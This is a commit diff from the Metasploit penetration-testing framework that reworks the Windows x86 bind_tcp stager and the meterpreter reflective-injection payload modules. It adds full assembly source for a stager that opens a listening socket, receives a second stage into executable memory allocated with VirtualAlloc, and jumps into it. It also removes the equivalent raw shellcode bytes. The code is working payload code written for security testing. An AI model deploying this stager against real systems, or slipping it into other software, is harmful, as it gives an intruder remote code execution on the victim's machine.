Initial work to support fault-tolerant connectivity

This code adjusts the bind_tcp stager for x86 so that the listener
socket isn't close for meterpreter payloads. This means that meterpreter
can make an educated guess as to whether or not the payload was a bind
or tcp payload, and from there can attempt to establish communications
in the same way as before should something break along the way.

Some simple adjustments to the x64 meterpreter stage as well, but more
to come here.
bug/bundler_fix
OJ 2015-04-07 21:12:59 +10:00
parent 38a77c930e
commit a9804dff62
4 changed files with 183 additions and 48 deletions

View File

@ -0,0 +1,142 @@
#-*- coding: binary -*-
require 'msf/core'
module Msf
##
#
# Implements stageless invocation of metsrv in x86
#
##
module Payload::Windows::BindTcp
include Msf::Payload::Stager
include Msf::Payload::Windows
def asm_bind_tcp(opts={})
asm = %Q^
push 0x00003233 ; Push the bytes 'ws2_32',0,0 onto the stack.
push 0x5F327377 ; ...
push esp ; Push a pointer to the "ws2_32" string on the stack.
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
call ebp ; LoadLibraryA( "ws2_32" )
mov eax, 0x0190 ; EAX = sizeof( struct WSAData )
sub esp, eax ; alloc some space for the WSAData structure
push esp ; push a pointer to this stuct
push eax ; push the wVersionRequested parameter
push 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" )
call ebp ; WSAStartup( 0x0190, &WSAData );
push 8
pop ecx
push_8_loop:
push eax ; if we succeed, eax will be zero, push it 8 times for
; later ([1]-[8])
loop push_8_loop
; push zero for the flags param [8]
; push null for reserved parameter [7]
; we do not specify a WSAPROTOCOL_INFO structure [6]
; we do not specify a protocol [5]
inc eax ;
push eax ; push SOCK_STREAM
inc eax ;
push eax ; push AF_INET
push 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" )
call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
xchg edi, eax ; save the socket for later, don't care about the value of
; eax after this
; bind to 0.0.0.0, pushed earlier [4]
; family AF_INET and port 4444
push 0x#{[opts[:lport]].pack('v').unpack('H*').first}0002
mov esi, esp ; save a pointer to sockaddr_in struct
push 16 ; length of the sockaddr_in struct (we only set the first
; 8 bytes as the last 8 are unused)
push esi ; pointer to the sockaddr_in struct
push edi ; socket
push 0x6737DBC2 ; hash( "ws2_32.dll", "bind" )
call ebp ; bind( s, &sockaddr_in, 16 );
; backlog, pushed earlier [3]
push edi ; socket
push 0xFF38E9B7 ; hash( "ws2_32.dll", "listen" )
call ebp ; listen( s, 0 );
; we set length for the sockaddr struct to zero, pushed earlier [2]
; we dont set the optional sockaddr param, pushed earlier [1]
push edi ; listening socket
push 0xE13BEC74 ; hash( "ws2_32.dll", "accept" )
call ebp ; accept( s, 0, 0 );
^
#if opts[:close_socket]
if false
asm << %Q^
push edi ; push the listening socket to close
xchg edi, eax ; replace the listening socket with the new connected socket
; for further comms
push 0x614D6E75 ; hash( "ws2_32.dll", "closesocket" )
call ebp ; closesocket( s );
^
else
asm << %Q^
xchg edi, eax ; replace the listening socket with the new connected socket
; for further comms
^
end
asm << %Q^
; Receive the size of the incoming second stage...
push 0 ; flags
push 4 ; length = sizeof( DWORD );
push esi ; the 4 byte buffer on the stack to hold the second stage length
push edi ; the saved socket
push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
call ebp ; recv( s, &dwLength, 4, 0 );
; Alloc a RWX buffer for the second stage
mov esi, [esi] ; dereference the pointer to the second stage length
push 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push esi ; push the newly recieved second stage length.
push 0 ; NULL as we dont care where the allocation is.
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
; Receive the second stage and execute it...
xchg ebx, eax ; ebx = our new memory address for the new stage
push ebx ; push the address of the new stage so we can return into it
read_more: ;
push 0 ; flags
push esi ; length
push ebx ; the current address into our second stage's RWX buffer
push edi ; the saved socket
push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
call ebp ; recv( s, buffer, length, 0 );
add ebx, eax ; buffer += bytes_received
sub esi, eax ; length -= bytes_received, will set flags
jnz read_more ; continue if we have more to read
ret ; return into the second stage
^
asm
end
def generate_bind_tcp
conf = {
:lport => datastore['LPORT'].to_i,
:close_socket => datastore['StagerCloseSocket'] || true
}
asm = asm_bind_tcp(conf)
Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string
end
end
end

View File

@ -5,15 +5,15 @@
require 'msf/core' require 'msf/core'
require 'msf/core/payload/windows/bind_tcp'
require 'msf/core/handler/bind_tcp' require 'msf/core/handler/bind_tcp'
module Metasploit3 module Metasploit4
CachedSize = 285 CachedSize = 285
include Msf::Payload::Stager include Msf::Payload::Windows::BindTcp
include Msf::Payload::Windows
def initialize(info = {}) def initialize(info = {})
super(merge_info(info, super(merge_info(info,
@ -25,31 +25,17 @@ module Metasploit3
'Arch' => ARCH_X86, 'Arch' => ARCH_X86,
'Handler' => Msf::Handler::BindTcp, 'Handler' => Msf::Handler::BindTcp,
'Convention' => 'sockedi', 'Convention' => 'sockedi',
'Stager' => 'Stager' => { 'RequiresMidstager' => false }
{
'RequiresMidstager' => false,
'Offsets' => { 'LPORT' => [ 192, 'n' ] },
'Payload' =>
"\xFC\xE8\x82\x00\x00\x00\x60\x89\xE5\x31\xC0\x64\x8B\x50\x30\x8B" +
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\xAC\x3C" +
"\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF2\x52\x57\x8B\x52" +
"\x10\x8B\x4A\x3C\x8B\x4C\x11\x78\xE3\x48\x01\xD1\x51\x8B\x59\x20" +
"\x01\xD3\x8B\x49\x18\xE3\x3A\x49\x8B\x34\x8B\x01\xD6\x31\xFF\xAC" +
"\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF6\x03\x7D\xF8\x3B\x7D\x24\x75" +
"\xE4\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3" +
"\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF" +
"\xE0\x5F\x5F\x5A\x8B\x12\xEB\x8D\x5D\x68\x33\x32\x00\x00\x68\x77" +
"\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\xFF\xD5\xB8\x90\x01\x00\x00" +
"\x29\xC4\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x6A\x08\x59\x50\xE2" +
"\xFD\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF\xD5\x97\x68\x02\x00" +
"\x11\x5C\x89\xE6\x6A\x10\x56\x57\x68\xC2\xDB\x37\x67\xFF\xD5\x57" +
"\x68\xB7\xE9\x38\xFF\xFF\xD5\x57\x68\x74\xEC\x3B\xE1\xFF\xD5\x57" +
"\x97\x68\x75\x6E\x4D\x61\xFF\xD5\x6A\x00\x6A\x04\x56\x57\x68\x02" +
"\xD9\xC8\x5F\xFF\xD5\x8B\x36\x6A\x40\x68\x00\x10\x00\x00\x56\x6A" +
"\x00\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x6A\x00\x56\x53\x57\x68" +
"\x02\xD9\xC8\x5F\xFF\xD5\x01\xC3\x29\xC6\x75\xEE\xC3"
}
)) ))
# TODO: find out if this is the best way to do it.
register_options([
OptPort.new('LPORT', [ true, "The local listener port", 4444 ])
], self.class)
end
def generate
generate_bind_tcp
end end
end end

View File

@ -6,9 +6,7 @@
require 'msf/core' require 'msf/core'
require 'msf/core/payload/windows/reflectivedllinject' require 'msf/core/payload/windows/reflectivedllinject'
require 'msf/core/payload/windows/x64/reflectivedllinject'
require 'msf/base/sessions/meterpreter_x86_win' require 'msf/base/sessions/meterpreter_x86_win'
require 'msf/base/sessions/meterpreter_x64_win'
require 'msf/base/sessions/meterpreter_options' require 'msf/base/sessions/meterpreter_options'
### ###
@ -16,6 +14,7 @@ require 'msf/base/sessions/meterpreter_options'
# Injects the meterpreter server DLL via the Reflective Dll Injection payload # Injects the meterpreter server DLL via the Reflective Dll Injection payload
# #
### ###
module Metasploit3 module Metasploit3
include Msf::Payload::Windows::ReflectiveDllInject include Msf::Payload::Windows::ReflectiveDllInject
@ -26,16 +25,18 @@ module Metasploit3
'Name' => 'Windows Meterpreter (Reflective Injection)', 'Name' => 'Windows Meterpreter (Reflective Injection)',
'Description' => 'Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged)', 'Description' => 'Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged)',
'Author' => ['skape','sf'], 'Author' => ['skape','sf'],
'PayloadCompat' => 'PayloadCompat' => { 'Convention' => 'sockedi', },
{
'Convention' => 'sockedi',
},
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
'Session' => Msf::Sessions::Meterpreter_x86_Win)) 'Session' => Msf::Sessions::Meterpreter_x86_Win))
# Don't let people set the library name option # Don't let people set the library name option
options.remove_option('LibraryName') options.remove_option('LibraryName')
options.remove_option('DLL') options.remove_option('DLL')
# TODO: figure out of this is the best way to do it.
register_advanced_options([
OptBool.new('StagerCloseSocket', [false, "Close the listen socket in the stager", false]),
], self.class)
end end
def library_path def library_path

View File

@ -22,15 +22,21 @@ module Metasploit3
def initialize(info = {}) def initialize(info = {})
super(update_info(info, super(update_info(info,
'Name' => 'Windows x64 Meterpreter', 'Name' => 'Windows Meterpreter (Reflective Injection x64)',
'Description' => 'Inject the meterpreter server DLL via the Reflective Dll Injection payload (Windows x64) (staged)', 'Description' => 'Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged x64)',
'Author' => [ 'sf' ], 'Author' => ['skape','sf'],
'PayloadCompat' => { 'Convention' => 'sockedi', },
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
'Session' => Msf::Sessions::Meterpreter_x64_Win 'Session' => Msf::Sessions::Meterpreter_x64_Win))
))
# Don't let people set the library name option
options.remove_option('LibraryName') options.remove_option('LibraryName')
options.remove_option('DLL') options.remove_option('DLL')
# TODO: figure out of this is the best way to do it.
register_advanced_options([
OptBool.new('StagerCloseSocket', [false, "Close the listen socket in the stager", false]),
], self.class)
end end
def library_path def library_path